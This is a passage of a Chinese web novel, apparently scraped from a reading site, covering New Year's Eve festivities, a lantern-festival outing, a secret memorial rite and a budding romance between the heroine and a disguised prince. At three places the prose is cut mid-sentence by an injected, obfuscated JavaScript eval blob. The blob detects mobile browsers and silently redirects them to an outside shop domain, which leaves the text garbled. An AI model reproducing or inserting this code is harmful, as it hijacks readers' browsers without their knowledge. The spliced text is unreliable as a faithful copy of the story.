她之所以搞这么一出,主要还是为了他,除夕这种重要的日子,她想与他同桌好好吃顿饭,然而若单只是他们二人,恐怕会引发不好的传闻,最后便只能多叫上几人了。 谢烜赫并未迟疑,干脆地走上前,然后在黎书意旁边落座。 其他人见了,便也纷纷行动起来,最后全都围着桌子坐下来了。 黎书意扫了一眼案上的人,虽是都坐下了,但是他们神情忸怩不安,像是被逼着做什么不好的事。 叹了一口气,她端起谢烜赫适才为她倒的酒,然后往前一举杯道:“都给我端起杯子。” 众人不敢违抗,开始为自己倒酒,接着再将杯子举到前边。 看着碰在一起的白瓷杯,黎书意满意地笑了,继续道:“现在,让我们遥祝在麒越征战的父亲、兄长和叔父,以及黎家军的诸位将士们新春快乐,早日得胜归来!” 这一次,没有一丁点的迟疑,在所有人的心中,大将军、少将军和黎副将是将军府里的支柱,于是他们异口同声地送上祝福。 “祝大将军、少将军、黎副将,和黎家军的诸位将士们新春快乐,早日得胜归来!” 杯子清脆的撞击声和诚挚的祝福交织在一起,格外嘹亮悦耳。 佳酿入口醇香丝滑,将酒一饮而尽,黎书意放下杯子,目光再次扫过案上的每个人,在这一番举动之后,席上气氛比刚刚好了不少,尽管除了谢烜赫以外,大家的表现仍然不自然。 接着,她拿起筷子,伸到近边的瓷碟,夹起一块羊肉放到碗里,然后命令道:“动筷吧。” 第一个谨遵命令的当然是谢烜赫,接着是富春姑姑,再然后是舒凌寒…… 见所有人都拿起筷子,黎书意便不招呼他们了,她伸手夹了一块鱼肉放到谢烜赫碗里,对他道:“新年快乐。” 看着碗里的菜,谢烜赫忍不住勾起唇角,今晚的他有一种被宠爱的感觉。 在这之后,其他人相继动筷夹菜,初时有些胆怯,后来逐渐大胆,再后来,在喝了几杯酒之后便彻底放开了。 半个时辰后,案上杯盘狼藉。 年夜饭结束后,侍女开始收拾残局,黎书意带着他们移步到别处去。 西景有在除夕这天赌博的习俗,叫做试年庚,即将这一天的赌博输赢视为预测下一年运势的游戏。 赌局一共开了两桌,一桌黎书意轮流与他们比,一桌留给他们自行挑人对阵。 黎书意在左边这张桌子坐下,然后看向堂中的人问:“你们谁先来?” “我来。”舒凌寒笑着上前,在对面坐下。 接着,毕定边请战谢烜赫,然后两人去了旁边那一桌。 游戏开始,左边这桌棋盘已经摆开,黑白棋子各就各位,舒凌寒执黑子,黎书意执白子。 舒凌寒先行掷骰子,得了一个五点,黑子迅速向前推进,黎书意见状不慌不忙,待她投掷时,运气也还行,掷了一个四点,白子紧追而上。 两人你来我往,互不相让,几轮下来,黎书意巧借布局,逐渐占了上风,舒凌寒虽努力寻找突破之法,但举步维艰。 最后,是黎书意赢下了这一局,右边那桌似乎也跟着结束了,听到毕定边的叹气声,她便知是谢烜赫赢了。 舒凌寒向她点头离座,旋即兴致勃勃地去旁边那桌排队,兰亭则跃跃欲试地接替上场,新的棋局由此开启。 因兰亭玩得不多,所以每走一步都深思熟虑,黎书意从容以对。 随着棋局的推进,她的优势逐渐显现,兰亭尽管奋力补救和抵抗,却还是难以扭转颓势,最终黎书意再次获胜。 兰亭嘟着嘴下场,黎书意见状笑了,然后她移目看向刚赢了富春姑姑朝这边走来的谢烜赫,谢烜赫在她的注视下走上前,在对面坐下了。 两人目光交汇,皆在对方眼中望见了摩拳擦掌,准备好好博一把的打算。 黎书意先行投掷,骰子落定后定睛一瞧,竟是六点,她执棋大步向前,攻势凌厉。 谢烜赫不慌不忙,待自己掷骰子掷出一个四点,他巧用这个四点,将白子移至某关键岔路口,不仅阻挡了黑子的前进路线,又为自己开辟了新的通路,成功化解了黎书意的进攻。 随着游戏的进行,棋盘上的局势愈发紧张,黑白棋子犬牙交错,难解难分。 谢烜赫每一步都走得极为稳健,仿佛步步为营的谋士,黎书意也不甘示弱,不断调整着策略,他们你来我往,时而蹙眉沉思,时而露出窃笑,时而抬眼观察对面之人的神色,最终,经过漫长的较量,两人以平局收场。 对此,黎书意并未感到失落,两人愿景一样,这是最好的结果。 玩了一个时辰,牌局散场,此时已经戌时,该是分发打赏的时候了。 按照往年的份例,分别是管事六颗金锞子和三十粒银瓜子,一等丫鬟三颗金锞子和二十粒银瓜子,二等丫鬟两颗锞子和十粒银瓜子…… 黎书意让兰亭把东西抬来,府中人员众多,足有两百余口,她不可能每个都亲自分发,给的自然就是在场的这一众亲信。 领了恩赏,这顿年夜饭算是彻底结束了,黎书意便放大家去忙自己的事。 “富春姑姑,今日的岁火搬到我院里去吧。”说完,转头对谢烜赫道,“你一会陪我守岁。” “嗯。”谢烜赫本就如此打算,这种时候怎么能放她一人。 岁火不一会便被搬到院子里,就搁在正房廊下的空地上,如同往年一样,富春姑姑还命人备了小火炉、消夜果和酒水等消遣小物。 等一切安置妥当了,黎书意在凳子上坐下,然后仰起头对侍立在侧的富春姑姑道:“姑姑都忙了一天,快些休息去吧,不必陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545736|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。” 想着小主人一个人怪孤独的,富春姑姑本打算陪着她守岁,听她这么说便只能作罢,嘱咐了兰亭几句,最后便离开了。 兰亭将酒放在炉火上温着,直起身以后扫见了黑袍银面长身玉立的少年,最终也向她家二姑娘告辞了,有昭王世子陪着,眼下这里并不需要她。 岁火燃得很旺,边上还摆着一个红泥小火炉,尽管身在室外,但是黎书意却一点也不觉得冷。 将目光从摇曳着的橙红色火苗上移开,她放眼望着飘雪的夜空和寂静的院落,地面上堆积起一指节的厚雪,皑皑白雪在月色的映照下散发出晶莹的光亮。 除了岁火里偶尔爆发出的“噼啪”声,四周一片安谧,这次不会像上回一样被人打扰,这一地的洁白也不会被践踏玷污。 黎书意是喜欢守岁的,因着父亲的身份使然,他一年中有大半年都在外征战,即便是没有战争,待在军营的日子也总比待在府里的日子多,也只有在像中秋和除夕这样的节日里,才能享受到一家人团聚的时光。 每当这个时候,母亲都会组织各种活动,有时候是飞花令,有时候是对对子,有时候是品读诗词,他们举家坐在岁火边,在游乐中辞旧迎新。 感慨完,黎书意偏头往旁边看去,见谢烜赫已经脱下了冷硬的假面,露出那张轮廓锋利、五官精致的俊颜。 两个人玩这些游戏似乎少了些乐趣,她最后只好作罢,想着就这样在月下小酌赏雪闲聊也挺好的。 不过,在此之前,她得先把年礼送出去,这么一大包东西揣在身上有些硌人。 从怀里抽出荷包,她将东西往旁边随意一递,故作自然道:“给你的年礼。” 看一眼递过来的荷包,再看一眼神色傲娇的少女,谢烜赫不禁露出一丝笑容。 这时,耳畔又传来少女霸道的声音:“东西可是我亲手做的,不好你也不能扔。” 单看荷包的式样,谢烜赫心中已经有了猜测,毕竟前些日子她就在倒腾这些,即便如此,他还是迫不及待地接过来。 拉开抽绳,见里面果然装有一条腰带,他拿出来握在手里,黑色锦缎,忍冬花暗纹,里侧用金银线绣着“万象更新”四字,腰带针脚细密,线条流畅,配狼首玉带钩,这哪里不好了,分明再好不过了。 捏着手中的腰带,谢烜赫深深凝视着少女,她送自己的礼物居然同她父兄的差不太多,这是不是说明了如今的他在她心中的地位已经和亲人一样重要了呢。 黎书意本就难为情,又见久久未有动静,以为是自己的礼物遭到了嫌弃,于是她转过头,想说两句找补的话,却发现谢烜赫正定定望着自己。 他脸上挂着淡淡的笑意,目光里闪动着喜悦,被这么看着,她想说的话便堵在了嘴边。 “我很喜欢。” 少年声音温柔缱绻,她听得耳朵一热,便更不知道要做何表示了。 不知所措间,一个长条木盒子递了过来,“新春快乐。” 她伸手接过来,然后带着好奇心打开,里头的金器在火光照耀下熠熠生辉。 “这是书签!” 盒子里装着一套金镂空嵌珐琅书签,她拿起最上面的那一枚,书签薄如蝉翼,签上镂刻着一支梅花,线条柔美,玲珑精致。 捏着书签,她回望谢烜赫,目光再落到自己亲手缝制的腰带上,忽然就觉得自己的礼物好寒酸,这小小的一枚,价值远超她送的。 78. 灯节 正月是一年里最清闲的时候,无论官还是民,大家都暂脱杂务,或是与家人团聚,或是走亲访友,整个帝都沉浸在安静祥和的节日氛围里。 然而,麒越和升卿却还处在混乱之中。麒越,在初次交战的僵持之后,双方修整了半月再次开战,主帅黎横天利用部落首领嵇弋的轻敌心理,佯装败退,成功引诱嵇弋率军追击,使其落入黎家军提前设好的埋伏圈,最终嵇弋被活捉。 而升卿,那边的战况更是激烈又频繁,终于,在正月初七这日,叛军大败,依靠着谢烜赫让祈安阁暗卫泄露给庞安澈的地形图,平叛大军摸清了叛军可能设伏的地点,这一役平叛大军不仅成功避开了叛军精心布置的埋伏,还策划了一场反制行动,给叛军以致命的打击,最终取得了胜利。 捷报很快传入孟章,为本就浸泡在年节喜悦里的臣民们更添一份喜悦。 因着皇帝要求留主谋活口,所以梁甫被捕之后并没有被就地斩杀,而是交由重兵押送至孟章。 对此,民众们没有任何异议,反而无比赞同,大家都认为让梁甫死在两军交战中太便宜他了,像他这等丧尽天良的奸臣,就该千刀万剐,人人啖之。 得益于祈安阁的情报网,黎书意比孟章城的民众更早得到了消息,当时她正在书房里作闲诗,谢烜赫走进屋中,克制地对她说了几个字:“梁甫昨夜已被活捉。” 她听后激动不已,毛笔从手中滑落,愣愣地望着谢烜赫,谢烜赫在她的注视下粲然一笑,她也跟着笑了,这是一种携手完成一项大计后分享成功的喜悦笑容。 近来,城中沸沸扬扬,都在议论梁甫伏法一事,尽管她并未出门,许多事情不能亲耳听到,但是她有一个耳报神。 从兰亭知晓了他们的谋算以来,积极性一直很高,但凡这小丫头外出一次,总会把自己的所见所闻转告给她,比如百姓们早备好了足量的烂菜叶和臭鸡蛋,就等着押送梁甫的囚车入城,又比如百姓们疑心昭王是被梁甫所陷害的,由此引发了各种猜测。 黎书意安静地听着,忍不住露出志得意满的微笑,她有些等不急那天快些到来。 在那之前,先迎来了正月十五。 从去年开始,对黎书意来说,这天除了是元宵节以外,还是一个特殊的日子——去年的今日,陵光昭王府被屠满门,孟章昭王府被查抄,谢烜赫在逃亡途中坠崖而亡。 虽说城中百姓还在过节当中,但是由于梁甫不日就将抵达皇城,所以谢烜赫最近愈发忙了。 过午,黎书意放下手中的书本,吩咐兰亭道:“兰亭,你去备些纸钱、瓜果和酒菜,晚上一起送到后院,记住,务必做得隐秘些。” “是。”兰亭应了,她知道今天是何日子,所以一句话也未多问,领了命便去办事了。 薄暮时分,斜阳残照,落日将云层染成凄绝的艳红,东西备好以后,主仆二人去了后院。 打开谢烜赫的房间,再将门好生掩上,她们一人布置香案,一人布置食桌。 走至条桌前,黎书意从手提篮里依次拿出小香炉、纸钱和长香,东西刚摆放好,外头传来响动,门推开见是谢烜赫回来了。 快速将饭菜摆到食案上,兰亭向世子施了一礼,旋即出了房间,关上房门,然后无声地离开了。 谢烜赫迈步朝里走,当瞥见暗处案几上的瓜果和香炉,他瞬间明白了这顿饭的含义。 黎书意走到食案边,拿起一套干净的碗筷,然后将桌上的每道菜都夹了些放进碗里,最后连同筷子放到香案上供奉。 谢烜赫也从桌上拿起酒壶,接着他走到香案前跪下,再抬手倾倒壶身,将酒泼洒在地上。 黎书意在他旁边跪下,引燃三柱长香递过去。 谢烜赫接过长香,肃声道:“父王母妃,陷害你们的人已经被捕,不日我便会为你们翻案,还昭王府一个清白,你们可以安息了。” 说毕,他将长香插入香炉,又伏地嗑了三个响头,然后便起身了。 黎书意跟着起身,拍了拍膝头的尘土,他们结束了这场隐秘而又简单的祭奠。 回到座位,两人面对面而食,只是席上的气氛有些安静。 在饭用到七分饱时,黎书意放下了筷子,用茶漱完口,她抬眸望向对面的人,提议道:“一会我们要不要出去放天灯?” “好。”谢烜赫点头应了。 在夜色降临时,黎书意与谢烜赫出门了,此一行只他们两个人。 驰出长巷,喧嚣声传进车里,黎书意抬手掀起侧边窗帘,只见所过之处每家每户都挂了灯笼,一些大户人家甚至在柱子上镶挂了壁灯联。 路上熙熙攘攘,马车走走停停,热闹的氛围淡化了因亡者而引发的伤感,过了许久,他们终于来到集市。 挑开车帘躬身出去,黎书意站在车上极目远望,只见一片火树银花,处处人头攒动。 “手给我。” 正看着,听见谢烜赫对自己说话,她点头将手递过去,然后踏着马凳下了马车。 将马车停好,两人并肩而行,汇入到人流之中,不知道是不是因为战争得胜,奸臣被伏的缘故,今年的灯会比往年要更热闹些。 那成片的花灯色彩斑斓,样式丰富,瑰丽若珠宝,她边走边看,只是并未像其他行人一样,急着挑灯和猜谜。 今夜之所以出来,并非只为了娱乐,一是希望身旁的人不要沉溺在痛失亲人的伤感之中,二是想替父兄和征伐的黎家军点几盏祈福灯。 走到街角,找到了祈福灯的摊贩,她向摊主要了四盏,分别是给王爷王妃的,给父兄的、给外祖母的,和给诸位将士的…… 灯买好了,两人拿着东西往鹤阳阁而去。 搁平日里,晚上的阁楼就足够热闹了,今日又是元夕,阁楼里便更热闹了。 步入楼中,浓醇的酒香与各色的菜香扑鼻而来,宾客们三五成群,围坐一桌,谈笑声不绝于耳。 他们提着灯直上顶楼,顶楼宽敞开阔,外圈是回廊,被隔断成十几个独立的观景露台,以供客人驻足观赏周围景致,此时已经挤满了放灯的人。 “去那边。”她正东张西望寻找好位置,手忽然被拽住,谢烜赫拉着她往东南角走去。 那边确实是一个无人打扰的好位置,她在谢烜赫的牵引下快步朝那边走去,进入观景台,两人开始点灯。 “这一盏点给王爷和王妃,愿他们在天有灵,保佑平反成功。” “这一盏点给父兄,愿他们早日得胜归来。” “这一盏点给外祖母,愿她长命百岁。” “这一盏点给西景的将士们,愿他们所向披靡。” 每点一盏灯黎书意便说一段祝词,被点燃的祈福灯一经放出便从阁楼慢悠悠飘远,再一点点升高。 将手里的灯盏全部点完,黎书意凭栏远望,这里视野开阔,几乎可以把整座孟章城收入眼中。 地下花灯连绵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545737|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似光河,天上花灯漂浮若皓月繁星,此时他们宛如置身于天宫。 看着看着,她突然心生怅然,作为一个为数不多能让闺阁女子参加的节日,她一直是极爱在这一天凑热闹的。 小时候,刚随父母从执明搬至孟章,她便被皇城的繁华所倾倒,那时候,每年元夕父母都会带着她和兄长上街游玩。 等长大点了,便由兄长陪着她出门,后来兄长做了谢煜然的伴读,两人交好,谢煜然顺其自然加入其中。 再后来,在谢烜赫上孟章求学以后,这支队伍便又添了一人,有三位青年才俊作陪,她是极得意的。 前年的灯会她记忆深刻。 “在想什么?”发现少女牵起的嘴角,谢烜赫好奇问道。 少女笑着扭过头来,一脸俏皮地望着他说:“在想前年灯会上,你们把灯谜都给猜完了。” 谢烜赫闻言也笑了,不禁随着她的话陷入回忆。 他清晰地记得,那是孟章最大的灯商策划的活动,当夜鹤阳阁高阔的大堂中悬挂起数百盏彩灯,每一盏灯上都附有一个灯谜,参与者可以以一到三名的人数自由组队参与猜谜活动。 看到灯谜后,队员们可共同商议,也可独自作答,待确定好了答案,便将其书写在纸上,再交给裁判进行核对计数。 活动在亥正时刻前截止,当活动结束之时,裁判会依据各队猜对谜语的总和进行排名,其中前三的队伍将获得特别的奖品。 奖品就摆放在看台处的紫檀高桌上,用红绸鲜花装点着,极为醒目。第一名的奖品是一件翡翠笔搁,笔搁造型精巧别致,呈山脉状,通体翠绿,色泽饱满欲滴,在灯盏的映照下,光彩粲然。 见黎书意对翡翠笔搁渴望,他、黎长策和谢煜然也只好替她达成愿望,于是他们组队报了名。 三人皆才思敏捷,那些灯谜于他们而言毫无难度,无需讨论,他们各自择了一面灯墙,独自猜谜。 谢烜赫在东墙前站定之后,立马开始按顺序看灯谜,在心中得出答案后,便利落地将答案写于纸条之上,再递给一旁的伙计。 或许是他们答题的速度过快,其他参赛者竟一个接一个地选择退赛,转而静静地站在一旁,兴致勃勃地观看他们三人猜谜。 耳边不断响起裁判那高亮的声音,宣布着他和谢煜然、黎长策所猜中灯谜的数量,他们实力相当,难分伯仲,所猜中的数量亦相差无几。 最后,三人前后脚来到第四面灯墙前,他们依旧沉着冷静地继续猜着灯谜,互不干涉。 其实玩到后面,不止是为了帮黎书意拿到奖品,谢烜赫当时心里还卯着一股劲,因为想要赢过谢煜然,他猜谢煜然也是同样的。 渐渐地,大堂中的灯谜越来越少,最后仅剩下一盏。 彼时,他和谢煜然破解的谜语数量相同,他们几乎同时迈步,一同走到那最后一盏灯前,那一刻两人的胜负欲皆已达到巅峰。 大堂中的气氛瞬间被推向高潮,他们明明是队友,可看客们却神情激动,交头接耳,纷纷猜测着谁会是猜中灯谜最多的那个。 而黎书意,她看热闹不嫌事大,完全沉浸在他们的对决之中,眼神中满是期待与关切,似乎也很好奇到底谁会最终获胜。 只是,在他俩还没来得及开口前,便被黎长策抢先回答了,最后谁也没赢谁也没输。 当然,这些隐没在平和之下的剑拔弩张黎书意看不到,看到了也不知道缘由。 79. 逃遁 获胜是毫无疑问的,裁判依次宣布了三人各自猜中灯盏的数量,合计后的总数量,最后祝贺他们获得了本次猜灯谜活动的第一名。 少女激动地拍手,脸上绽放出灿烂的笑容,终是如愿以偿地从裁判手中接过翡翠笔搁。 她那双琉璃一样的眼睛璀璨晶莹,目光中满是喜悦与自豪,弯起的眉眼要比她手中的笔搁更加光彩夺目,见她如此快乐,当下谢烜赫心里说不出的满足。 那份奖品至今仍然摆在她书案上,基本上每日都会用到。 灯市溢彩流光,星河耿耿欲燃,黎书意目光涣散地望着远方,过往浮光掠影般在她眼前闪过,她回忆着去岁兄长他们猜灯谜,自己在一旁拍手称快,最终他们夺得第一,为她拿到翡翠笔搁的一幕幕场景。 渐渐地,她唇边的弧度淡下去,一想到后来的事,她的心情由喜悦转为怅然,便忍不住感慨:“要是一切都没变就好了……” 下一年的元夕是她的噩梦。 那天,她打扮得漂漂亮亮的,与兄长来到主街上,不一会谢煜然便和他们相会了,已经到了约定的时辰,却迟迟不见谢烜赫的人影。 以为他是被杂事给牵绊住了,他们便进阁楼里等候,然而等了半个时辰,依旧不见人来。 兄长正准备打发绿沉去看看是何情况,谢煜然的亲信突然找过来,贴耳同他说了一句话,紧接着就见他“唰”一下站起身来,留了句“有急事”便匆匆离开了,最后只剩下他们兄妹二人。 兴致被破坏,她和兄长随意地在街上逛了逛,没多久便回去了,到家中,两人去向父亲问安。 进正院后,发现叔父也在,厅中气氛异常,细问之下,他们被告知说是昭王谋反了,而谢烜赫也逃了。 那一刻,黎书意才骤然反应过来,谢烜赫迟迟不来并非被事情耽搁,而是正在经历追杀。 少女的感慨令谢烜赫沉默。 “当时你一定很无助吧……”少女偏转过头来,她眼圈泛红,黑眸里光点流转,目光饱含着沉痛与怜惜,模样惹人疼爱。 他凝神望着她,心里头忽然炽热起来,像是雪夜里燃起的炭火,他情不自禁伸出手将少女搂入怀中,暗哑着嗓子道:“已经过去了。” 真的过去了吗?黎书意问自己,几百条人命无辜被屠,宗室子弟的身份被抹杀,那岂是轻易就能放下的。 好在有些东西还可以夺回,想到这她仰起头,安慰道:“你很快就可以拿回你的身份了。” 是的,很快,谢烜赫在心里默默说道,他回望着少女,眸光慢慢变得幽深,他不仅要拿回他的身份,他还要得到她的心。 少年目光专注,静静凝视着自己,深邃的眼眸里隐藏着说不清道不明的情愫,情绪渐渐平复的黎书意敏锐地注意到这点异常,于是不解地轻皱起眉头。 有些不知所措,她便垂下眼去,这一敛眸竟后知后觉注意到他们竟然搂抱在一起了,她一时尴尬无比。 正准备退回到安全距离,手却被捉住了,她微微一怔,又惊又奇地看着少年。 只见那双映着璀璨灯火的眼眸紧盯着自己,仿佛想从她的眼睛中寻找什么,还未及开口询问,面前的人慢慢向前倾身,俊美的脸越靠越近,然后一个柔软的东西贴到了她的额头上,轻盈如一片羽毛拂过。 黎书意睁大了眼睛,接着又眨巴了两下,有点反应不过来到底发生了什么,直到额头上柔软的触感消失,谢烜赫的脸重新在她面前显现,她才反应过来这人刚刚对她做了什么。 他居然亲她,他们是什么关系,他居然敢亲她,她该打他一巴掌的,可是她的手泛着麻意,根本就抬不起来,她想说些什么,可是脑袋里一片空白,呆立片刻,最后她很没出息地转身跑了。 从观景台出来,她步履匆忙地下楼,下至三楼时在楼梯拐角撞到一群上楼的客人。 “能不能小心点!”是唐婉娇,她责怪地看过来,发现是她,皱着眉,没好气道,“你怎么回事,淑女风范都丢了?” 她没有搭腔。 就在这时,见唐婉娇朝她身后看去,她顺着目光转头看过去,看到了追过来的谢烜赫。 刚刚的那一幕在脑海里重现,黎书意两耳的热度本就未褪下去,经过这一番催化,尴尬和羞意又加深了,那股热度便顺着耳朵蔓延到脸上,滚烫一片。 “你不会真的……”唐婉娇的目光在她和谢烜赫之间逡巡,她话虽没说完,可黎书意却懂了。 “我来放天灯的。”她故作镇定地解释了一句。 “哦。”唐婉娇搭腔,表情显然不信。 没有再理会她,黎书意绕过堵路的人继续往下走,是一眼也没有看紧追不舍的谢烜赫。 她一步也不敢停,径直穿过了热闹的灯市,找到了停靠的马车,然后动作迅速地钻入车中。 疾行了一路,此时她上气不接下气,抬起小几上的冷茶猛灌了一口,接着靠坐在车里休息。 气息还未彻底平复,外头传来动静,有人登上了马车。 她心弦猛地拉紧,都是她的错,为了方便,今天只他们两个出门,现在方便成了不便。 她默不作声,牙齿轻咬着下唇,两手无意识地摩梭着衣角,整个人坐立不安,一颗心提在半空,就怕他提起刚才的事。 这时,听见外头道:“我驾车了。” 她没搭理,也不需要她搭理,马车紧跟着动起来。 马蹄嘚嘚地敲击着地面,车身摇晃间嘎吱作响,声音单调冗长。 这一路极其的煎熬,黎书意坐在车中思潮澎湃,奈何脑子化成了浆糊,思考了一路,却是什么都没有想清楚。 待马车停下,她便以迅雷不及掩耳盗铃之势下车,一句话一个眼神也没留给谢烜赫,将他彻底甩在了身后。 比起她来,谢烜赫要自然许多,他侧头看着走远的倩影,表情有些许无奈,又有些许失落,他等得够久了,不想再等了。 …… 载驰院内,兰亭趁着二姑娘和世子出去逛灯会的间隙,偷闲看起了《陈冤录》。 每回书局一上新,她便会买回来看,当时她的注意力全在故事上,只觉得情节跌宕起伏,虽然能看出书里的内容多少与将军府的现状有关,但是却没有往深处想,以为同《学崖》一样,二姑娘是因为无能为力,所以借着写书抒发自己的渴望与心情。 如今,她得知世子还活着,大将军、少将军和二姑娘想为昭王府平反,带着目的再重新读,感受大不相同,尽管书中的人物和事件与现实有所偏差,但这明显写的就是他们近一载的经历。 兰亭边读边跟着回顾,透过文字了解那些她不曾知晓的内幕,或是提心吊胆,或是大快人心,她的心情起起伏伏,对她家二姑娘越发钦佩不已。 看完,时候也差不多了,她起身进里间去点香,这样等二姑娘回来时正好香盈满室。 温润淡雅的香气慢慢飘散,点了香,她出门吩咐底下人烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545738|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,这时迎面撞上一人,定睛一看竟是她家二姑娘。 只见她面色微红,眉头轻蹙,步履匆忙,竟是看也不看她,就径自朝里头走去,像是在为什么大事而苦恼。 兰亭丈二和尚,摸不着头脑,不是和世子去放天灯了吗,似乎比预想的回来的早,还有,这是怎么了? 看着坐在床头苦恼的二姑娘,她心里好奇得紧,奈何清楚二姑娘是不会同她说的,她便只能装作无事发生,走过去问道:“二姑娘是要现在沐浴吗?” 黎书意脑袋里一团乱,思绪仿佛飘散的烟雾,构不成固定的形式,让她抓不住关键,听见兰亭问话,她点了一下头。 待热水放好了,她起身去浴房,褪下身上的衣物,进入浴桶之中,任由水慢慢浸过胸前。 热气熏蒸在脸上,身后兰亭动作温柔地替她搓着背,静谧之下,让她的心思又回到了谢烜赫亲她的事上。 是受气氛感染所致吗?黑暗的阁楼拐角,栏外璀璨的灯火,还有他们的谈话,确实符合。 可谢烜赫根本就不是容易被这些东西迷惑的人,从前在孟章城中不是没有行为大胆的女子向他示爱,她们写情诗、扔花枝、制造偶遇……他始终一副稳如泰山的模样。 若不是因为氛围,那是因为什么,是信任与依赖吗?自从谢烜赫入府以来,他们共同经历了许多,关系越发亲近,然而伙伴之间显然不会这样做。 将这个可能也排除掉,她的思绪划到了第三个选项上面,也是她认为最不可能的那个,谢烜赫喜欢她…… 谢烜赫会喜欢她吗?他们从前分明彼此互看不顺眼,可这不是已经改变了吗? 难不成谢烜赫真喜欢她!这个想法令黎书意的心脏忘记了跳动。 她忽然想起来,先前唐婉娇曾提醒过她,说她的侍卫如何如何,让她注意,当时她以为那只是唐婉娇在寻她开心,所以才故意这么说,现在看来却不尽然。 不过这实在不能怪她,毕竟他们从前关系不好,她哪能往喜欢这方面想啊。 心重新开始跳动,而后变得剧烈,犹如擂鼓。 “二姑娘二姑娘……”兰亭皱着眉头轻唤,她也不想惊扰二姑娘,可二姑娘坐在浴桶里一动也不动,她都不便帮她沐浴,最后只能开口,同时在心头暗思,该不会是世子得罪二姑娘了吧。 “嗯。”黎书意听见声音,下意识应声,回过神来她终于换了个姿势。 等沐浴完,擦了身子,她穿上干净的里衣,然后湿着头发走出浴房,心不在焉地在床沿坐下。 想一个人安静待着,她从兰亭手里接过干布巾,然后道:“头发我自己绞,你去休息吧。” “是。”兰亭知道二姑娘有心事,也就没多叨扰。 黎书意拿着干布巾侧着头有一下没一下地轻轻擦拭着。 那她对谢烜赫呢?她还讨厌他吗?显然不。可喜欢呢?她问自己。 刚才在阁楼上,谢烜赫搂她时她无意识地就靠了过去,就连他亲她,她也只是惊慌失措,并无丝毫的排斥与讨厌。 所以,在这数月的相处之中,她竟然也对他动心了?这个想法令她心头为之一颤。 那么问题来了,现在该怎么办?她轻皱起眉头,彻底失了主意。 要承认对一个自己曾经讨厌的人动了心,她骄傲的内心属实有点不愿呢,那就以不变应万变吧,谁让先行动的人是谢烜赫呢,而且他也没有明确表态,最后黎书意这般打定了主意。 80. 回避 次日,黎书意开始依照做出的决定实施回避策略。 为了表现出丝毫未受那一记亲吻的影响,她需得像往常一样,若是不想被看出端倪,那她最好还是忙起来比较好。 只是最近日子过得清闲,如何找一样不容易让她分心的事呢?她在书房里边走边思索,这时目光扫见了书架上摆着的几本医书。 这些书都是当初她决定开清芙阁时通过各种渠道淘来的,如今只读了一小半,许多药材和它们的功效对她来说都很生涩,需要用心铭记。 就这个吧,再者,她也好久没为清芙阁出过力了,将难啃的大部头翻开,她坐到案前看起来。 虽然此前已经做过一些研究,但是时至今日,医道对她而言仍然是座难攀的高山,她不打算成为个中圣手,对她而言,钻研点养生、护肤和了解些处理刀剑类外伤的方法就够了。 但凡看到某一味药材提及了润肤养颜的功效,她便一字不落地将条目抄下,想着日后交给舒凌寒,方便她调配方子。 手上正写到“久服白蒺藜,可除面之瘢痕,致肌肤柔嫩滑润”,听见有人走进来,她自然地说道:“兰亭,帮我换杯热茶。” 案上摆着兰亭早先替她泡好的茶,只是她看书看得忘了时辰,想喝时已经放凉了。 说毕,她继续抄写条目,等这条抄完了,茶也重新泡来了,她把狼毫放到笔搁上,准备喝茶,一抬眼,发现泡茶的人并非兰亭。 “怎么是你?”她诧异地望着谢烜赫。 谢烜赫将茶盏放到案上,“喝吧,水温刚刚好。” “哦……”她讷讷应着。 现如今,她还没办法平静地面对这张脸,于是慌忙垂下了眼。 接着,她伸手去端茶盏,由于心神不稳,第一次竟拿偏了,第二次才端起来。 抬着茶盏喝茶时,她懊恼地将眼睛一闭,在心里责怪自己沉不住气。 喝了两小口茶,她将杯子放下,心情也终于恢复安定。 此时,她已经看了小一个时辰的书,原本打算歇息一小会的,可若是停下,势必要与屋里唯一的人说话,因此她只好继续。 就当是督促她努力学习了,这么想着,她无可奈何地续看起来,直到兰亭走进屋来,告知说可以用午膳了,她才停下。 这就么样,一整个早晨过去了。 下午,她依旧如此行事,丝毫不给谢烜赫询问她的机会。 第二日,黎书意还是这般做的,只是到了下午,她的回避计划被打断了,因为林静仪来找她了。 “你在看医书?”扫了一眼书案上摊开的书,林静仪问道,“是店铺打算出新品吗?” “嗯。”黎书意点头,林静仪从一开始便知道清芙阁是她的,甚至建店初期还为她贡献了不少点子。 看了一天半的药方,她头早就大了,能有点别的什么来替代,她高兴还来不及,于是忙起身走向林静仪,问:“看你这般高兴,可是有好事发生?” 林静仪展颜一笑,从玉绿的手中接过一个匣子,然后打开来。 